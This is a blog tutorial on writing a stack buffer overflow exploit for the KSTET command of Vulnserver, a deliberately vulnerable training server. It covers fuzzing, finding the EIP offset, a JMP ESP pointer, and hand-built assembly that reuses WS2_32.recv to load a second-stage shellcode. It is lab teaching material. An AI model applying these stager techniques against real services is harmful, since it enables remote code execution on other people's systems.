Vulnserver KSTET WS2_32 Recv Function Re-Use

Hey everyone,

Today, we’re going to be talking about function reuse within our shellcode. Specifically, we’ll be looking at the WS2_32.recv function and how we can use this function to read in our exploit payload and execute it.

Before we begin, I need to credit the original author / creator of this method. Like the QuickZip tutorial before it, I wanted to provide more context about how to do this method so that it’s simpler to follow. This is heavily based-on and inspired by:

All credit for the original idea should go to them, hopefully though this will help expand on the information they provide. We’ll walk through this end to end process, so that it’s understood.

In this example I’ll be using Vulnserver on Windows XP SP3.

The Exploit

0x01 – Fuzzing

First things first, we need to find the vulnerability. To do this, we will fuzz the vulnserver KSTET command using Spike. To do this, we need to tell Spike what it should do and what to expect.

In our case, when connecting to vulnserver, we always get a welcome message, like so:

root@kali:~/vulnserver-kstet# nc 9999
Welcome to Vulnerable Server! Enter HELP for help.

As a result, before we send out command, we need to tell Spike to read this line in. We can create the appropriate fuzzing for the kstet command, like so:

Using this, we will fuzz the kstet_value portion of the command after we read the welcome message. We can then send this over to vulnserver like so:

root@kali:~/exploits/vulnserver/kstet/tutorial# generic_send_tcp 9999 01-fuzz.spk 0 0
Total Number of Strings is 681
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2

We put the … at the end there as we get vulnserver to crash almost immediately on the first variable, second fuzzing iteration. Breaking down spike’s output:

Fuzzing Variable 0:1
Variablesize= 5004

This is telling us that we’re fuzzing the first variable, as most computer counting is zero-based, that’s why the first variable is referenced by the 0. On the other side of the colon, we see that it’s the second fuzzing iteration, represented by the 1. For the first thousand or so fuzzing executions, Spike will also give you the size of the fuzzing buffer that was sent. In this case, it sent a 5004 byte buffer. This can be seen in Immunity Debugger:

Vulnserver crash after fuzzing

So it looks like Spike sent a request like:


So probably 5000 A’s prefixed by the /.:/ characters.

Let’s duplicate this exploit as a Python proof-of-concept exploit.

0x02 – Proof-of-Concept Exploit

With knowledge of what the command is, we’ll start off by building our proof of concept exploit.

chmod +x

And with our file in place, it should look like this. Note that this is using Python 3, which has slightly different semantics regarding strings and their use with sockets. Specifically, our strings must be prefixed with b to indicate that they are byte strings, not character strings, which allows us to send the value over the socket.

When we run this, we see it execute:

root@kali:~/exploits/vulnserver/kstet/tutorial# ./
[*] creating the socket
[*] connecting to the target
[*] sending exploit
[*] cleaning up

And the following crash occurs:

POC crash

Great! So we now have a working proof-of-concept exploit. Next step is to determine the type of exploit we have (vanilla EIP overwrite, structured exception handler overwrite, etc.) and what offset it occurs at.

0x03 – Determining Exploit Type and Control Offset

Looking at our image, we see that the EIP register has been overwritten by:


If you done exploitation before, you may know that a capital A in hex is the value 41. Thus, we know that in this case the overflow is an EIP overwrite exploit. So we need to figure out where this actually is within the 5000 byte buffer. Luckily, we can use Metasploit’s pattern_create.rb tool for this:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000

Here, we’re telling it to create a 5000 byte long unique cyclic pattern which we can use within our exploit to identify the exact offset of EIP. With our pattern in place, we end up with the following exploit (for vim users, take a look at the macro explanation for a way to format pattern_create.rb code)

Running, this:

root@kali:~/exploits/vulnserver/kstet/tutorial# ./
[*] creating the socket
[*] connecting to the target
[*] sending exploit
[*] cleaning up

and we see the following crash:

Pattern create crash

If we look for the value of EIP with pattern_offset.rb, we see:

root@kali:~/exploits/vulnserver/kstet/tutorial# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5000 -q 41326341
[*] Exact match at offset 66

So EIP should begin at offset 66, meaning 66 bytes of junk, 4 bytes for EIP , then the remainder of our buffer. Let’s update our exploit to verify we have the correct offset.

0x04 – Verifying the Offset

To do this, let’s update our proof-of-concept exploit with the offset information we saw before:

And run it:

root@kali:~/exploits/vulnserver/kstet/tutorial# ./
[*] creating the socket
[*] connecting to the target
[*] sending exploit
[*] cleaning up

This gives us the crash:

Verification crash

This shows us that we have a working crash. We see that EIP is overwritten with our B’s, 0x42 hex, and ESP is directly after EIP. Oddly though, rather than our full 5000 bytes worth of space, we only have 20 bytes worth of space. We know this a few different ways:

  1. Counting – each row on the stack shows four bytes, we have 5 rows, 4 * 5 = 20 bytes
  2. Math – starting address is 00B7FA0C, the first non-C byte is located at 00B7FA20, thus 00B7FA20 – 00B7FA0C = 14h / 20 decimal

As a result, it’s possible that we don’t actually need a 5000 byte buffer, we can potentially use a shorter and more targeted payload. Let’s try with only twenty bytes of C’s.

With this, we run it again and see we still get the same crash. Yay for simpler buffers!

Important Note: If you do not shorten the buffer at this point, you will hit a different issue when doing the recv command. The target socket will attempt to read in the next 512 bytes from the socket, which will be the C’s rather than your shellcode. This will cause your exploit to not work correctly, for obvious reasons (if it’s reading C’s, they don’t execute a shell…)

That works!

0x05 – Jumping to Our Buffer

Next step, getting to our buffer. Since this is a vanilla EIP overwrite, we’ll look for a JMP ESP command to get to our C’s. To do this, we can use Mona like so. Note the use of the -n flag to ignore modules which start with a null byte.

!mona jmp -n -r ESP

This gives us a number of different pointers:

JMP ESP pointers

For our case, we’ll choose the following:

Log data, item 17
Message= 0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v-1.0- (\\vmware-host\Shared Folders\WindowsVMs\VulnerableApps\vulnserver\essfunc.dll)

While we don’t know of any bad characters, I like to prefer ASCII characters for register values when possible. This doesn’t include SafeSEH, ASLR, or other protection methods for us to worry about, and it’s a DLL associated to vulnserver so it should be a portable exploit value.

Next, we update our exploit like so. If you aren’t familiar with the use of struct.pack to create return addresses, I’d recommend reading my article on using it as it can help you avoid typos.

When we update it, we end up with:

With this in mind, let’s restart vulnserver and Immunity Debugger. Once in Immunity, we’ll use the “Goto address in Disassembler” button to go to our JMP ESP instruction. This is the black arrow pointing at three dots. Usually it’s the last button before you get to the buttons that are letters. We’ll then set a breakpoint using F2.

When we run this, we hit our breakpoint:

We know this a breakpoint not a crash because of the “Breakpoint at essfunc.62501203” along the bottom status bar rather than an access violation or similar error.

0x06 – Getting to a Bigger Buffer

So right now we have access to our buffer, but we only have 20 bytes to work with. Not exactly spacious and it certainly won’t hold a reverse shell. As a result, we need to try to move to another location where we may have more space. The only other place we control though are the A’s above our EIP value. As a result, we need to look at jumping up there, but how?

At this point, we just took a JMP ESP command, meaning EIP currently points to the same location as ESP. We also know that 66 bytes of junk and 4 bytes of EIP above where we are would put us at the beginning of our buffer. So lets try to move 66 bytes up. We’ll do this via hex math using the registers and then performing a JMP .

Let’s take a look at how to do this.

First, where are we?


We’re currently at 00B7FA0C in memory. And the first byte of our buffer is where?

00B7F9C6 41 INC ECX

And if we do the calculations, we want to move back:

00B7FA0C (Current location) - 00B7F9C6 (Target Location) = Hex value: 46 or Decimal value: 70

So we’ll want to move the value of ESP to a register we can safely adjust, such as EDX:


Once we have the register, we want to subtract 70 decimal / 46 hex:

SUB DL, 46

Then we want to take a jump:


There are a few ways that we can figure out how to get these values. We’ll start off and show via Metasploit Framework’s nasm_shell.rb tool.

root@kali:~/exploits/vulnserver/kstet/tutorial# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > PUSH ESP
00000000 54 push esp
nasm > POP EDX
00000000 5A pop edx
nasm > SUB DL, 70
00000000 80EA46 sub dl,0x46
nasm > JMP EDX
00000000 FFE2 jmp edx
nasm >

Note how in this example we used SUB DL, 70 rather than 46. This is because nasm_shell assumes values are decimal unless formatted like so:

nasm > SUB DL, 0x46
00000000 80EA46 sub dl,0x46

With this information, we can now update our exploit if we wanted to. But this is a lot of instructions for simply jumping backwards 70 bytes. Instead, we’ll use a short jump of:


This will allow us to perform a jump of -72 bytes. You may be wondering why we need to do a -72 byte jump here when before we needed to only do a 70 byte jump back. Simply put, the first method using a register didn’t account for any instructions after we took the jump, as the first instruction preserved the address of where we were. In this case, we are using a two byte jump, and the jump will occur after those two bytes are executed. Thus, rather than a 70 byte jump, we must do a 72 byte jump.

There is no meaningful or functional difference in doing it this way, just nice to make things shorter when we can. This leaves us with:

We restart Immunity, re-set our breakpoint on the JMP ESP command, then execute the exploit and take the jump using F7. We then land at our jump:


Which when we take, we end up at the first byte of our buffer.

First byte of our buffer

0x07 – Finding and Understanding the WS2_32.recv Command

Now that we are in our (slightly) larger buffer, it’s time to dig into the meat of this, which is the use of the recv command to read more data from the socket into memory which we will then execute. We’ll be using the WS2_32.recv command to do this, which is already loaded by vulnserver (and is how we send our commands to the server).

So how does WS2_32.recv work? If we look at the MSDN documentation (located here) we see the following:

int recv(
char *buf,
int len,
int flags

So the recv command takes four arguments: a socket file descriptor, a pointer to a buffer where the data will be stored, the length of the buffer, and a set of flags, which we won’t be using. You can read about them on MSDN though.

So we’re going to need to find our socket file descriptor so that we can re-use it. We also need to know where WS2_32.recv is located on our machine. Immunity has a way to help us with the second part, which allow us to determine the first (the socket file descriptor).

So first things first, where does vulnserver call WS2_32.recv? Well, we know that it’s going to be in the application itself somewhere. So it’ll either be in the vulnserver module or it’s DLL essfunc.dll. Luckily, this is a small application so the number of places it could be isn’t very large. Let’s check if it’s in vulnserver first.

Restart vulnserver and Immunity Debugger, and then attach the debugger to the process. Then right click in the upper left pane, highlight View, and select “Module ‘vulnserver'”

This will take us to the section of code associated with vulnserver itself. We’d need to look at essfunc.dll separately. WS2_32.recv is a call to a different module, so we can look for intermodular calls by highlighting search for and selecting intermodular calls. Note though, that similar to the goto address in disassembler functionality, sometimes the previous view command will require you to select it a second time before taking you to the correct module.

This will show you a list of all the calls to other modules. We’ll click the header for the Destination column which will sort by function name. It’s important to note, this sorts by the function name, not the module name. For example, WS2_32.bind and WS2_32.recv will be sorted on the words bind and recv, respectively.

When we sort, we can then easily identify the recv call. We’ll set a breakpoint on this command using F2 (can be done from this window when the function is highlighted). You’ll see the address should now become highlighted.

While we have the location, let’s jump to this address in the disassembly (upper left pane) and grab what memory address is being called:

You can view this using the space key to bring up the Assemble pane, or directly below the disassembly is a small slide out windows (usually starts collapsed for some reason) which will show you what the address is as well.

Let’s see what the socket file descriptor is so that we can try to find it in relationship to where we are during our exploit (hopefully it’s a short relative offset).

To find this, let’s replace our buffer of A’s at the beginning with \xCC which is a breakpoint. This will simplify the process for us. For whatever reason, not doing this can leave situations where the socket file descriptor isn’t correctly kept.

When we do this, we first hit our recv breakpoint:

If we use F7, we can step into the receive call to view what the arguments look like when the call is executed. Because this is a 32-bit exploit, we can look at the stack to view the arguments, (64-bit is pass by register, 32-bit is pass by stack).

And here, we see the following information, in relationship to what we saw in the MSDN documentation:

int recv(
SOCKET 0x00000080,
char *0x003E4B28,
int 0x1000,
int 0x00000000

So our socket file descriptor we’ll want to look for when within our exploit is 0x00000080. Let’s allow execution to continue, when we should hit our breakpoint. We’ll press F9 to continue (you may need to restart immunity and unset the breakpoint on recv, sometimes this won’t allow you to continue. If that happens, rather than sending your exploit and continuing, use netcat to connect, then unset the recv breakpoint and run the exploit again).

0x08 – Finding the Socket File Descriptor

With the information about our socket, we’ll search for where this value may be located in relationship to where we our. We’ll right click on the upper left panel, Search for, Binary string.

We’ll then search for our socket file descriptor:

When we do this, we can cycle through the different results using Ctrl+L. We find three results:

The memory locations are:

00B7F78F 0080 00000000 ADD BYTE PTR DS:[EAX],AL
00B7F7ED 0080 7C0050FD ADD BYTE PTR DS:[EAX+FD50007C],AL
00B7FB93 0080 00000000 ADD BYTE PTR DS:[EAX],AL

So when we hit recv earlier, and when we called our exploit, the stack was located at:


Based on this, it seems the most likely to me that the 00B7FB93 would be the socket file descriptor, as it’s the closest to the stack location.

So if that’s the case, let’s make the calculations using ESP and ECX. First, we need to know how far apart our target and our current locations are. We use whichever is the highest number and subtract the smaller one to get the offset.

00B7FB93 (Target address) - 00B7FA0C (ESP) = Hex value: 187 or Decimal value: 391

Since our target address was larger, we need to add 0x187 to our current ESP value. We can do this like so:

PUSH ESP ; Store the current location of ESP on the stack
POP ECX ; Pop this location into ECX for our calculation
ADD CX, 0x187 ; Add 187h / 391 to ESP. Should now equal 00B7FB93

We can determine the opcodes for this by using Immunity Debugger’s assemble option. When we hit our breakpoint, we’ll use the spacebar to open the window, then type in the commands we want to execute. When we’re done, we’ll have this:

We can then use F7 to step through these commands and ensure they work as expected, then we can copy the lines to our clipboard and update our exploit. It’s worth noting at this stage, we’re considering the file descriptor value to be an approximation which may be off by 3 bytes forward or backwards. We’ll need 0x00000080, while we may accidentally end up with 0x00800000 and need to shift it over a bit. Easy fix, but worth being aware of this potential caveat:

0x09 – Calling WS2_32.recv to Receive Our Shellcode

With our socket file descriptor, we need to take care of the last piece, which is actually calling the WS2_32.recv function.

If we remember, when we saw it called earlier, the values looked like this (in MSDN documentation order / style):

int recv(
SOCKET 0x00000080,
char *0x003E4B28,
int 0x1000,
int 0x00000000

We can see the stack order in:

Because we’ll be passing our arguments via the stack, we need to push them in reverse order, meaning first the flags (0x00000000 from above), then the buffer size (0x1000 from above), the buffer location (*0x003E4B28 from above), and the socket file descriptor (0x00000080 from above, currently we have a pointer to it in ECX).

So let’s take care of the flags first:

XOR EDX, EDX ; Zero out EDX
PUSH EDX ; PUSH 0X00000000

This will give us the first value. Second, we need the length of the buffer. This will be 512 bytes, or 0x00000200 hex. We can use the upper half of the lower 16-bytes of the register via the DH reference. If you aren’t familiar with this, and it sounds confusing, DL is the least significant byte of DX, and DH is the most significant byte of DX. DX in turn is the least significant word of EDX.


MOV EDX,0x12345678
; Now EDX = 0x12345678, DX = 0x5678, DH = 0x56, DL = 0x78
MOV DL,0x01
; Now EDX = 0x12345601, DX = 0x5601, DH = 0x56, DL = 0x01
MOV DH,0x99
; Now EDX = 0x12349901, DX = 0x9901, DH = 0x99, DL = 0x01
MOV DX,0x1020
; Now EDX = 0x12341020, DX = 0x1020, DH = 0x10, DL = 0x20

As you can see, you can write to DL or DH without them affecting one another (but you’re still affecting DX and EDX). Thanks StackOverflow for this nice description!

So in our case, if we add 0x02 to DH, we end up with 0x00000200, which is a size of 512 bytes.

ADD DH, 0x02 ; Add 0x02 to DH, making DX 0x0200 / EDX 0x00000200
PUSH EDX ; Push the buffer size onto the stack

Next, we need to decide on our buffer location. Interestingly, this is the start of the buffer location, and grows down. In our case, we’ll choose to receive the data at

00B7F9E2 CC INT3

This gives us a bit of space (22 bytes), but we’ll need to make sure we chose the right spot once we convert our assembly into opcodes.

With this knowledge though, we can calculate this value by getting the value of ESP (since it’s two op codes will keep the amount of op codes we need to do smaller), doing some math, and then pushing the value back onto the stack.

So let’s figure out our offset:

00B7FA0C (ESP) - 00B7F9E2 (Target) = Hex value: 2A / Decimal value: 42

So to replicate this in assembly:

PUSH ESP ; 00B7FA0C 9090B8EB 븐
SUB DL, 2A ; Subtract 0x2A / 42 from DL (lower byte of EDX)
PUSH EDX ; Push our argument onto the stack

And finally, we need to push our socket file descriptor. We have the memory address of it stored, but not the actual value (as if we stored that, it’d be hardcoded and potentially break). We can push the value of at the stored memory address using:

PUSH DWORD PTR DS:[ECX] ; Push a double-word of the value that ECX points to

And with this, we should have our full set of operations codes. All together, this looks like:

PUSH ESP ; Store the current location of ESP on the stack
POP ECX ; Pop this location into ECX for our calculation
ADD CX, 0x187 ; Add 187h / 391 to ESP. Should now equal 00B7FB93
XOR EDX, EDX ; Zero out EDX
PUSH EDX ; PUSH 0X00000000
ADD DH, 0x02 ; Add 0x02 to DH, making DX 0x0200 / EDX 0x00000200
PUSH EDX ; Push the buffer size onto the stack
PUSH ESP ; 00B7FA0C 9090B8EB 븐
SUB DL, 2A ; Subtract 0x2A / 42 from DL (lower byte of EDX)
PUSH EDX ; Push our argument onto the stack
PUSH DWORD PTR DS:[ECX] ; Push a double-word of the value that ECX points to

Which, we can then put into Immunity to get our op codes (or use nasm_shell, though that’s a bit harder with the pointer).

This will give us:

00B7F9C6 54 PUSH ESP
00B7F9C7 59 POP ECX
00B7F9C8 66:81C1 8701 ADD CX,187
00B7F9CD CC INT3 ; ignore this, this is from using the software breakpoints, it won't be in our updated python
00B7F9D0 52 PUSH EDX
00B7F9D1 80C6 02 ADD DH,2
00B7F9D4 52 PUSH EDX
00B7F9D5 54 PUSH ESP
00B7F9D7 80EA 2A SUB DL,2A

We’re still missing one thing though, the actual CALL WS2_32.recv! Lets add that:

CALL 0040252C
translates to:
00B7F9DC E8 4B2B88FF CALL <jmp.&ws2_32.recv>

So now, let’s update our exploit:

0x10 – Fixing our Mistakes

So at this point, theoretically we’re ready to start receiving stuff, but as we said some things like the socket pointer may be off by a few bytes. We need to verify before we just start trying to pop shells. You may have noticed from the above, we made four mistakes that we’ll look at fixing below:

  1. Socket is at the wrong offset causing socket 8000 rather than 80
  2. Our buffer value is wrong
  3. The call instruction wasn’t sent in a reliable manner
  4. Our arguments are being put on the stack in our line of execution in an area which will get overwritten by our buffer

To do this, set a breakpoint on your JMP ESP command and run the latest prepared exploit then step through the commands until you hit the recv command, if you then press F7 one more time to step into the function, you’ll see something like this:

From this, we see two incorrect things, it’ll take a few more executions to see the third, that the CALL WS2_32.recv wasn’t put in correctly. First, the socket isn’t aligned correct, giving us an argument of 8000 rather than 80. Second, oddly, our buffer location seems to be placed at 0x00B7FADA rather than our expected 00B7F9E2. Let’s deal with the socket first though. In this case, we’re off alignment by one full byte. So we can adjust the ADD CX operation by one byte, making it ADD CX, 188 instead of 187. Since this is little endian, the issue here is that we sent an argument of:


rather than:


As such, adding one is how we’re getting the one more byte of zero’s on the right hand side. If we look up the new opcodes using the method we did before and re-run the exploit, that successfully fixed out socket file descriptor.

So with that in place, we just have to adjust our buffer. We’re currently ending up not only after our current buffer, but after our entire buffer. Not only that, the current stack location is below us, so our target location for the payload is also going to actually get in the way. To fix this, we need to make the following changes:

  1. Move ESP above our shellcode related to arguments so that it doesn’t interfere
  2. Call WS2_32.recv via a register with our address in it rather than directly provided values

First, let’s deal with ESP. We can move that by using SUB ESP, 50 right above our XOR. That’ll move the stack above where we are today. We’ll also fix the buffer by removing the SUB DL, 2A and we’ll instead put ADD EDX, 50. By using 50 here, after we’ve moved the stack up for the arguments, we’ll properly align with our stage 2 buffer without our EIP overwrite interfering.

Lastly, we need to deal with the call operation. We made the mistake of encoding that via Immunity, which doesn’t actually work the way you’d think. Instead, we have to put the CALL {{ address }} into a register and call the register. Sadly, our call address has a null byte!

To fix this, we need to use a shift. A shift can be used to adjust the address by dropping certain bytes. Specifically we want a SHR, or Shift Right. The second operand, we’ll be using 8, defines the amount of bits to be shifted right. So if we have:


This means if we start with:

CL = 42(in hex) = 0100 0010 (binary)

Shift right one time, all the bits go right. The lowest significant bit(rightmost) goes to the carry flag and a zero is appended on the highest significant bit (leftmost). The value thus becomes :

0010 0001 (21 in hex) -> and the rightmost 0 goes to the carry flag.

In our case, we’re moving an entire register 8, dropping the entire lower byte, and gaining a full 00 byte at the top / most significant byte.

Since we want 0040252C, we’ll do:

MOV EAX,40252C11

With that, we can update our code, add a fake \xCC payload (to trigger an interrupt, replace our remaining \xCC’s with NOP’s, and execute our exploit.

When you re-run it, do not set a breakpoint at the JMP ESP or RECV, as then you may get WSAECONNABORTED or WSAECONNRESET errors.

This gives us:

At this point, it’s just a matter of adding your shellcode, being sure to remove bad characters (\x00 in this case), and voila! A shell!

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Join the discussion 4 Comments

  • nogood says:

    great tutorial as always!

  • khaled sakr says:


    I’m having a strange problem, the file descriptor i’m getting on my machine is 48, although you exploit works on my machine with file descriptor 80, so i’m confused, what’s wrong, this photo is for my file descriptor, the w32_sock recv function is even on the same address in the example

  • Aminek says:

    @khaled sakr in the exploit we are nut putting 80 or 48 directly we are using an address that points to it, so maybe in the exact same address you have your socket dexriptor (48) instead of 80 and is working fine. Hope my reflection is right… to be sure try to take a look at the ECX register and where it is pointing to (using the given exploit).

  • ono7 says:

    Hmm.. so I tried this on different installs of windows and the FD changes… so this is not something that can be universally used for exploit development and expect to work on a different machine… is there a way to resolve this automatically?

Leave a Reply